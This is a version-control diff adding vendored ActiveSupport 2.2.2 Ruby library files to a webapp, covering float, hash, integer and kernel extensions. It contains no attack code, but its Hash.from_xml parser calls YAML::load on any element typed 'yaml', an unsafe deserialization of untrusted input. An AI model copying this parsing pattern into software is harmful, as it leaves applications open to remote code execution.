+      module Rounding
+        def self.included(base) #:nodoc:
+          base.class_eval do
+            alias_method :round_without_precision, :round
+            alias_method :round, :round_with_precision
+          end
+        end
+
+        # Rounds the float with the specified precision.
+        #
+        #   x = 1.337
+        #   x.round    # => 1
+        #   x.round(1) # => 1.3
+        #   x.round(2) # => 1.34
+        def round_with_precision(precision = nil)
+          precision.nil? ? round_without_precision : (self * (10 ** precision)).round / (10 ** precision).to_f
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float/time.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float/time.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float/time.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Float #:nodoc:
+      module Time
+        # Deprication helper methods not available as core_ext is loaded first.
+        def years
+          ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:years, "Fractional years are not respected. Convert value to integer before calling #years."), caller)
+          years_without_deprecation
+        end
+        def months
+          ::ActiveSupport::Deprecation.warn(self.class.deprecated_method_warning(:months, "Fractional months are not respected. Convert value to integer before calling #months."), caller)
+          months_without_deprecation
+        end
+
+        def months_without_deprecation
+          ActiveSupport::Duration.new(self * 30.days, [[:months, self]])
+        end
+        alias :month :months
+      
+        def years_without_deprecation
+          ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]])
+        end
+        alias :year :years
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+require 'active_support/core_ext/float/rounding'
+require 'active_support/core_ext/float/time'
+
+class Float #:nodoc:
+  include ActiveSupport::CoreExtensions::Float::Rounding
+  include ActiveSupport::CoreExtensions::Float::Time
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,259 @@
+require 'date'
+require 'cgi'
+require 'builder'
+require 'xmlsimple'
+
+# Locked down XmlSimple#xml_in_string
+class XmlSimple
+  # Same as xml_in but doesn't try to smartly shoot itself in the foot.
+  def xml_in_string(string, options = nil)
+    handle_options('in', options)
+
+    @doc = parse(string)
+    result = collapse(@doc.root)
+
+    if @options['keeproot']
+      merge({}, @doc.root.name, result)
+    else
+      result
+    end
+  end
+
+  def self.xml_in_string(string, options = nil)
+    new.xml_in_string(string, options)
+  end
+end
+
+# This module exists to decorate files deserialized using Hash.from_xml with
+# the <tt>original_filename</tt> and <tt>content_type</tt> methods.
+module FileLike #:nodoc:
+  attr_writer :original_filename, :content_type
+
+  def original_filename
+    @original_filename || 'untitled'
+  end
+
+  def content_type
+    @content_type || 'application/octet-stream'
+  end
+end
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      module Conversions
+
+        XML_TYPE_NAMES = {
+          "Symbol"     => "symbol",
+          "Fixnum"     => "integer",
+          "Bignum"     => "integer",
+          "BigDecimal" => "decimal",
+          "Float"      => "float",
+          "Date"       => "date",
+          "DateTime"   => "datetime",
+          "Time"       => "datetime",
+          "TrueClass"  => "boolean",
+          "FalseClass" => "boolean"
+        } unless defined?(XML_TYPE_NAMES)
+
+        XML_FORMATTING = {
+          "symbol"   => Proc.new { |symbol| symbol.to_s },
+          "date"     => Proc.new { |date| date.to_s(:db) },
+          "datetime" => Proc.new { |time| time.xmlschema },
+          "binary"   => Proc.new { |binary| ActiveSupport::Base64.encode64(binary) },
+          "yaml"     => Proc.new { |yaml| yaml.to_yaml }
+        } unless defined?(XML_FORMATTING)
+
+        # TODO: use Time.xmlschema instead of Time.parse;
+        #       use regexp instead of Date.parse
+        unless defined?(XML_PARSING)
+          XML_PARSING = {
+            "symbol"       => Proc.new  { |symbol|  symbol.to_sym },
+            "date"         => Proc.new  { |date|    ::Date.parse(date) },
+            "datetime"     => Proc.new  { |time|    ::Time.parse(time).utc rescue ::DateTime.parse(time).utc },
+            "integer"      => Proc.new  { |integer| integer.to_i },
+            "float"        => Proc.new  { |float|   float.to_f },
+            "decimal"      => Proc.new  { |number|  BigDecimal(number) },
+            "boolean"      => Proc.new  { |boolean| %w(1 true).include?(boolean.strip) },
+            "string"       => Proc.new  { |string|  string.to_s },
+            "yaml"         => Proc.new  { |yaml|    YAML::load(yaml) rescue yaml },
+            "base64Binary" => Proc.new  { |bin|     ActiveSupport::Base64.decode64(bin) },
+            "file"         => Proc.new do |file, entity|
+              f = StringIO.new(ActiveSupport::Base64.decode64(file))
+              f.extend(FileLike)
+              f.original_filename = entity['name']
+              f.content_type = entity['content_type']
+              f
+            end
+          }
+
+          XML_PARSING.update(
+            "double"   => XML_PARSING["float"],
+            "dateTime" => XML_PARSING["datetime"]
+          )
+        end
+
+        def self.included(klass)
+          klass.extend(ClassMethods)
+        end
+
+        # Converts a hash into a string suitable for use as a URL query string. An optional <tt>namespace</tt> can be
+        # passed to enclose the param names (see example below).
+        #
+        # ==== Example:
+        #   { :name => 'David', :nationality => 'Danish' }.to_query # => "name=David&nationality=Danish"
+        #
+        #   { :name => 'David', :nationality => 'Danish' }.to_query('user') # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+        def to_query(namespace = nil)
+          collect do |key, value|
+            value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+          end.sort * '&'
+        end
+        
+        alias_method :to_param, :to_query
+
+        def to_xml(options = {})
+          options[:indent] ||= 2
+          options.reverse_merge!({ :builder => Builder::XmlMarkup.new(:indent => options[:indent]),
+                                   :root => "hash" })
+          options[:builder].instruct! unless options.delete(:skip_instruct)
+          dasherize = !options.has_key?(:dasherize) || options[:dasherize]
+          root = dasherize ? options[:root].to_s.dasherize : options[:root].to_s
+
+          options[:builder].__send__(:method_missing, root) do
+            each do |key, value|
+              case value
+                when ::Hash
+                  value.to_xml(options.merge({ :root => key, :skip_instruct => true }))
+                when ::Array
+                  value.to_xml(options.merge({ :root => key, :children => key.to_s.singularize, :skip_instruct => true}))
+                when ::Method, ::Proc
+                  # If the Method or Proc takes two arguments, then
+                  # pass the suggested child element name.  This is
+                  # used if the Method or Proc will be operating over
+                  # multiple records and needs to create an containing
+                  # element that will contain the objects being
+                  # serialized.
+                  if 1 == value.arity
+                    value.call(options.merge({ :root => key, :skip_instruct => true }))
+                  else
+                    value.call(options.merge({ :root => key, :skip_instruct => true }), key.to_s.singularize)
+                  end
+                else
+                  if value.respond_to?(:to_xml)
+                    value.to_xml(options.merge({ :root => key, :skip_instruct => true }))
+                  else
+                    type_name = XML_TYPE_NAMES[value.class.name]
+
+                    key = dasherize ? key.to_s.dasherize : key.to_s
+
+                    attributes = options[:skip_types] || value.nil? || type_name.nil? ? { } : { :type => type_name }
+                    if value.nil?
+                      attributes[:nil] = true
+                    end
+
+                    options[:builder].tag!(key,
+                      XML_FORMATTING[type_name] ? XML_FORMATTING[type_name].call(value) : value,
+                      attributes
+                    )
+                  end
+              end
+            end
+            
+            yield options[:builder] if block_given?
+          end
+
+        end
+
+        module ClassMethods
+          def from_xml(xml)
+            # TODO: Refactor this into something much cleaner that doesn't rely on XmlSimple
+            typecast_xml_value(undasherize_keys(XmlSimple.xml_in_string(xml,
+              'forcearray'   => false,
+              'forcecontent' => true,
+              'keeproot'     => true,
+              'contentkey'   => '__content__')
+            ))
+          end
+
+          private
+            def typecast_xml_value(value)
+              case value.class.to_s
+                when 'Hash'
+                  if value['type'] == 'array'
+                    child_key, entries = value.detect { |k,v| k != 'type' }   # child_key is throwaway
+                    if entries.nil? || (c = value['__content__'] && c.blank?)
+                      []
+                    else
+                      case entries.class.to_s   # something weird with classes not matching here.  maybe singleton methods breaking is_a?
+                      when "Array"
+                        entries.collect { |v| typecast_xml_value(v) }
+                      when "Hash"
+                        [typecast_xml_value(entries)]
+                      else
+                        raise "can't typecast #{entries.inspect}"
+                      end
+                    end
+                  elsif value.has_key?("__content__")
+                    content = value["__content__"]
+                    if parser = XML_PARSING[value["type"]]
+                      if parser.arity == 2
+                        XML_PARSING[value["type"]].call(content, value)
+                      else
+                        XML_PARSING[value["type"]].call(content)
+                      end
+                    else
+                      content
+                    end
+                  elsif value['type'] == 'string' && value['nil'] != 'true'
+                    ""
+                  # blank or nil parsed values are represented by nil
+                  elsif value.blank? || value['nil'] == 'true'
+                    nil
+                  # If the type is the only element which makes it then 
+                  # this still makes the value nil, except if type is
+                  # a XML node(where type['value'] is a Hash)
+                  elsif value['type'] && value.size == 1 && !value['type'].is_a?(::Hash)
+                    nil
+                  else
+                    xml_value = value.inject({}) do |h,(k,v)|
+                      h[k] = typecast_xml_value(v)
+                      h
+                    end
+                    
+                    # Turn { :files => { :file => #<StringIO> } into { :files => #<StringIO> } so it is compatible with
+                    # how multipart uploaded files from HTML appear
+                    xml_value["file"].is_a?(StringIO) ? xml_value["file"] : xml_value
+                  end
+                when 'Array'
+                  value.map! { |i| typecast_xml_value(i) }
+                  case value.length
+                    when 0 then nil
+                    when 1 then value.first
+                    else value
+                  end
+                when 'String'
+                  value
+                else
+                  raise "can't typecast #{value.class.name} - #{value.inspect}"
+              end
+            end
+
+            def undasherize_keys(params)
+              case params.class.to_s
+                when "Hash"
+                  params.inject({}) do |h,(k,v)|
+                    h[k.to_s.tr("-", "_")] = undasherize_keys(v)
+                    h
+                  end
+                when "Array"
+                  params.map { |v| undasherize_keys(v) }
+                else
+                  params
+              end
+            end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/deep_merge.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/deep_merge.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/deep_merge.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      # Allows for deep merging
+      module DeepMerge
+        # Returns a new hash with +self+ and +other_hash+ merged recursively.
+        def deep_merge(other_hash)
+          self.merge(other_hash) do |key, oldval, newval|
+            oldval = oldval.to_hash if oldval.respond_to?(:to_hash)
+            newval = newval.to_hash if newval.respond_to?(:to_hash)
+            oldval.class.to_s == 'Hash' && newval.class.to_s == 'Hash' ? oldval.deep_merge(newval) : newval
+          end
+        end
+
+        # Returns a new hash with +self+ and +other_hash+ merged recursively.
+        # Modifies the receiver in place.
+        def deep_merge!(other_hash)
+          replace(deep_merge(other_hash))
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/diff.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/diff.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/diff.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      module Diff
+        # Returns a hash that represents the difference between two hashes.
+        #
+        # Examples:
+        #
+        #   {1 => 2}.diff(1 => 2)         # => {}
+        #   {1 => 2}.diff(1 => 3)         # => {1 => 2}
+        #   {}.diff(1 => 2)               # => {1 => 2}
+        #   {1 => 2, 3 => 4}.diff(1 => 2) # => {3 => 4}
+        def diff(h2)
+          self.dup.delete_if { |k, v| h2[k] == v }.merge(h2.dup.delete_if { |k, v| self.has_key?(k) })
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/except.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/except.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/except.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+require 'set'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      # Return a hash that includes everything but the given keys. This is useful for
+      # limiting a set of parameters to everything but a few known toggles:
+      #
+      #   @person.update_attributes(params[:person].except(:admin))
+      module Except
+        # Returns a new hash without the given keys.
+        def except(*keys)
+          dup.except!(*keys)
+        end
+
+        # Replaces the hash without the given keys.
+        def except!(*keys)
+          keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
+          keys.each { |key| delete(key) }
+          self
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/indifferent_access.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/indifferent_access.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/indifferent_access.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,137 @@
+# This class has dubious semantics and we only have it so that
+# people can write params[:key] instead of params['key']
+# and they get the same value for both keys.
+
+class HashWithIndifferentAccess < Hash
+  def initialize(constructor = {})
+    if constructor.is_a?(Hash)
+      super()
+      update(constructor)
+    else
+      super(constructor)
+    end
+  end
+
+  def default(key = nil)
+    if key.is_a?(Symbol) && include?(key = key.to_s)
+      self[key]
+    else
+      super
+    end
+  end
+
+  alias_method :regular_writer, :[]= unless method_defined?(:regular_writer)
+  alias_method :regular_update, :update unless method_defined?(:regular_update)
+
+  # Assigns a new value to the hash:
+  #
+  #   hash = HashWithIndifferentAccess.new
+  #   hash[:key] = "value"
+  #
+  def []=(key, value)
+    regular_writer(convert_key(key), convert_value(value))
+  end
+
+  # Updates the instantized hash with values from the second:
+  # 
+  #   hash_1 = HashWithIndifferentAccess.new
+  #   hash_1[:key] = "value"
+  # 
+  #   hash_2 = HashWithIndifferentAccess.new
+  #   hash_2[:key] = "New Value!"
+  # 
+  #   hash_1.update(hash_2) # => {"key"=>"New Value!"}
+  # 
+  def update(other_hash)
+    other_hash.each_pair { |key, value| regular_writer(convert_key(key), convert_value(value)) }
+    self
+  end
+
+  alias_method :merge!, :update
+
+  # Checks the hash for a key matching the argument passed in:
+  #
+  #   hash = HashWithIndifferentAccess.new
+  #   hash["key"] = "value"
+  #   hash.key? :key  # => true
+  #   hash.key? "key" # => true
+  #
+  def key?(key)
+    super(convert_key(key))
+  end
+
+  alias_method :include?, :key?
+  alias_method :has_key?, :key?
+  alias_method :member?, :key?
+
+  # Fetches the value for the specified key, same as doing hash[key]
+  def fetch(key, *extras)
+    super(convert_key(key), *extras)
+  end
+
+  # Returns an array of the values at the specified indices:
+  #
+  #   hash = HashWithIndifferentAccess.new
+  #   hash[:a] = "x"
+  #   hash[:b] = "y"
+  #   hash.values_at("a", "b") # => ["x", "y"]
+  #
+  def values_at(*indices)
+    indices.collect {|key| self[convert_key(key)]}
+  end
+
+  # Returns an exact copy of the hash.
+  def dup
+    HashWithIndifferentAccess.new(self)
+  end
+
+  # Merges the instantized and the specified hashes together, giving precedence to the values from the second hash
+  # Does not overwrite the existing hash.
+  def merge(hash)
+    self.dup.update(hash)
+  end
+
+  # Removes a specified key from the hash.
+  def delete(key)
+    super(convert_key(key))
+  end
+
+  def stringify_keys!; self end
+  def symbolize_keys!; self end
+  def to_options!; self end
+
+  # Convert to a Hash with String keys.
+  def to_hash
+    Hash.new(default).merge(self)
+  end
+
+  protected
+    def convert_key(key)
+      key.kind_of?(Symbol) ? key.to_s : key
+    end
+
+    def convert_value(value)
+      case value
+      when Hash
+        value.with_indifferent_access
+      when Array
+        value.collect { |e| e.is_a?(Hash) ? e.with_indifferent_access : e }
+      else
+        value
+      end
+    end
+end
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      module IndifferentAccess #:nodoc:
+        def with_indifferent_access
+          hash = HashWithIndifferentAccess.new(self)
+          hash.default = self.default
+          hash
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/keys.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/keys.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/keys.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,52 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      module Keys
+        # Return a new hash with all keys converted to strings.
+        def stringify_keys
+          inject({}) do |options, (key, value)|
+            options[key.to_s] = value
+            options
+          end
+        end
+
+        # Destructively convert all keys to strings.
+        def stringify_keys!
+          keys.each do |key|
+            self[key.to_s] = delete(key)
+          end
+          self
+        end
+
+        # Return a new hash with all keys converted to symbols.
+        def symbolize_keys
+          inject({}) do |options, (key, value)|
+            options[(key.to_sym rescue key) || key] = value
+            options
+          end
+        end
+
+        # Destructively convert all keys to symbols.
+        def symbolize_keys!
+          self.replace(self.symbolize_keys)
+        end
+
+        alias_method :to_options,  :symbolize_keys
+        alias_method :to_options!, :symbolize_keys!
+
+        # Validate all keys in a hash match *valid keys, raising ArgumentError on a mismatch.
+        # Note that keys are NOT treated indifferently, meaning if you use strings for keys but assert symbols
+        # as keys, this will fail.
+        #
+        # ==== Examples:
+        #   { :name => "Rob", :years => "28" }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key(s): years"
+        #   { :name => "Rob", :age => "28" }.assert_valid_keys("name", "age") # => raises "ArgumentError: Unknown key(s): name, age"
+        #   { :name => "Rob", :age => "28" }.assert_valid_keys(:name, :age) # => passes, raises nothing
+        def assert_valid_keys(*valid_keys)
+          unknown_keys = keys - [valid_keys].flatten
+          raise(ArgumentError, "Unknown key(s): #{unknown_keys.join(", ")}") unless unknown_keys.empty?
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/reverse_merge.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/reverse_merge.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/reverse_merge.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      # Allows for reverse merging two hashes where the keys in the calling hash take precedence over those
+      # in the <tt>other_hash</tt>. This is particularly useful for initializing an option hash with default values:
+      #
+      #   def setup(options = {})
+      #     options.reverse_merge! :size => 25, :velocity => 10
+      #   end
+      #
+      # Using <tt>merge</tt>, the above example would look as follows:
+      #
+      #   def setup(options = {})
+      #     { :size => 25, :velocity => 10 }.merge(options)
+      #   end
+      #
+      # The default <tt>:size</tt> and <tt>:velocity</tt> are only set if the +options+ hash passed in doesn't already
+      # have the respective key.
+      module ReverseMerge
+        # Performs the opposite of <tt>merge</tt>, with the keys and values from the first hash taking precedence over the second.
+        def reverse_merge(other_hash)
+          other_hash.merge(self)
+        end
+
+        # Performs the opposite of <tt>merge</tt>, with the keys and values from the first hash taking precedence over the second.
+        # Modifies the receiver in place.
+        def reverse_merge!(other_hash)
+          replace(reverse_merge(other_hash))
+        end
+
+        alias_method :reverse_update, :reverse_merge!
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/slice.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/slice.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash/slice.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Hash #:nodoc:
+      # Slice a hash to include only the given keys. This is useful for
+      # limiting an options hash to valid keys before passing to a method:
+      #
+      #   def search(criteria = {})
+      #     assert_valid_keys(:mass, :velocity, :time)
+      #   end
+      #
+      #   search(options.slice(:mass, :velocity, :time))
+      #
+      # If you have an array of keys you want to limit to, you should splat them:
+      #
+      #   valid_keys = [:mass, :velocity, :time]
+      #   search(options.slice(*valid_keys))
+      module Slice
+        # Returns a new hash with only the given keys.
+        def slice(*keys)
+          keys = keys.map! { |key| convert_key(key) } if respond_to?(:convert_key)
+          hash = self.class.new
+          keys.each { |k| hash[k] = self[k] if has_key?(k) }
+          hash
+        end
+
+        # Replaces the hash with only the given keys.
+        def slice!(*keys)
+          replace(slice(*keys))
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+%w(keys indifferent_access deep_merge reverse_merge conversions diff slice except).each do |ext|
+  require "active_support/core_ext/hash/#{ext}"
+end
+
+class Hash #:nodoc:
+  include ActiveSupport::CoreExtensions::Hash::Keys
+  include ActiveSupport::CoreExtensions::Hash::IndifferentAccess
+  include ActiveSupport::CoreExtensions::Hash::DeepMerge
+  include ActiveSupport::CoreExtensions::Hash::ReverseMerge
+  include ActiveSupport::CoreExtensions::Hash::Conversions
+  include ActiveSupport::CoreExtensions::Hash::Diff
+  include ActiveSupport::CoreExtensions::Hash::Slice
+  include ActiveSupport::CoreExtensions::Hash::Except
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/even_odd.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/even_odd.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/even_odd.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Integer #:nodoc:
+      # For checking if a fixnum is even or odd.
+      #
+      #   2.even?  # => true
+      #   2.odd?   # => false
+      #   1.even?  # => false
+      #   1.odd?   # => true
+      #   0.even?  # => true
+      #   0.odd?   # => false
+      #   -1.even? # => false
+      #   -1.odd?  # => true
+      module EvenOdd
+        def multiple_of?(number)
+          self % number == 0
+        end
+
+        def even?
+          multiple_of? 2
+        end if RUBY_VERSION < '1.9'
+
+        def odd?
+          !even?
+        end if RUBY_VERSION < '1.9'
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/inflections.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/inflections.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/inflections.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'active_support/inflector'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Integer #:nodoc:
+      module Inflections
+        # Ordinalize turns a number into an ordinal string used to denote the
+        # position in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+        #
+        #   1.ordinalize    # => "1st"
+        #   2.ordinalize    # => "2nd"
+        #   1002.ordinalize # => "1002nd"
+        #   1003.ordinalize # => "1003rd"
+        def ordinalize
+          Inflector.ordinalize(self)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/time.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/time.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer/time.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,45 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Integer #:nodoc:
+      # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
+      #
+      # These methods use Time#advance for precise date calculations when using from_now, ago, etc. 
+      # as well as adding or subtracting their results from a Time object. For example:
+      #
+      #   # equivalent to Time.now.advance(:months => 1)
+      #   1.month.from_now
+      #
+      #   # equivalent to Time.now.advance(:years => 2)
+      #   2.years.from_now
+      #
+      #   # equivalent to Time.now.advance(:months => 4, :years => 5)
+      #   (4.months + 5.years).from_now
+      # 
+      # While these methods provide precise calculation when used as in the examples above, care
+      # should be taken to note that this is not true if the result of `months', `years', etc is
+      # converted before use:
+      #
+      #   # equivalent to 30.days.to_i.from_now
+      #   1.month.to_i.from_now
+      #
+      #   # equivalent to 365.25.days.to_f.from_now
+      #   1.year.to_f.from_now
+      #
+      # In such cases, Ruby's core
+      # Date[http://stdlib.rubyonrails.org/libdoc/date/rdoc/index.html] and
+      # Time[http://stdlib.rubyonrails.org/libdoc/time/rdoc/index.html] should be used for precision
+      # date and time arithmetic
+      module Time        
+        def months
+          ActiveSupport::Duration.new(self * 30.days, [[:months, self]])
+        end
+        alias :month :months
+
+        def years
+          ActiveSupport::Duration.new(self * 365.25.days, [[:years, self]])
+        end
+        alias :year :years
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+require 'active_support/core_ext/integer/even_odd'
+require 'active_support/core_ext/integer/inflections'
+require 'active_support/core_ext/integer/time'
+
+class Integer #:nodoc:
+  include ActiveSupport::CoreExtensions::Integer::EvenOdd
+  include ActiveSupport::CoreExtensions::Integer::Inflections
+  include ActiveSupport::CoreExtensions::Integer::Time
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/agnostics.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/agnostics.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/agnostics.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+class Object
+  # Makes backticks behave (somewhat more) similarly on all platforms.
+  # On win32 `nonexistent_command` raises Errno::ENOENT; on Unix, the
+  # spawned shell prints a message to stderr and sets $?.  We emulate
+  # Unix on the former but not the latter.
+  def `(command) #:nodoc:
+    super
+  rescue Errno::ENOENT => e
+    STDERR.puts "#$0: #{e}"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/daemonizing.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/daemonizing.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel/daemonizing.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+module Kernel
+  # Turns the current script into a daemon process that detaches from the console.
+  # It can be shut down with a TERM signal.
+  def daemonize
+    Process.daemon
+  end
+end

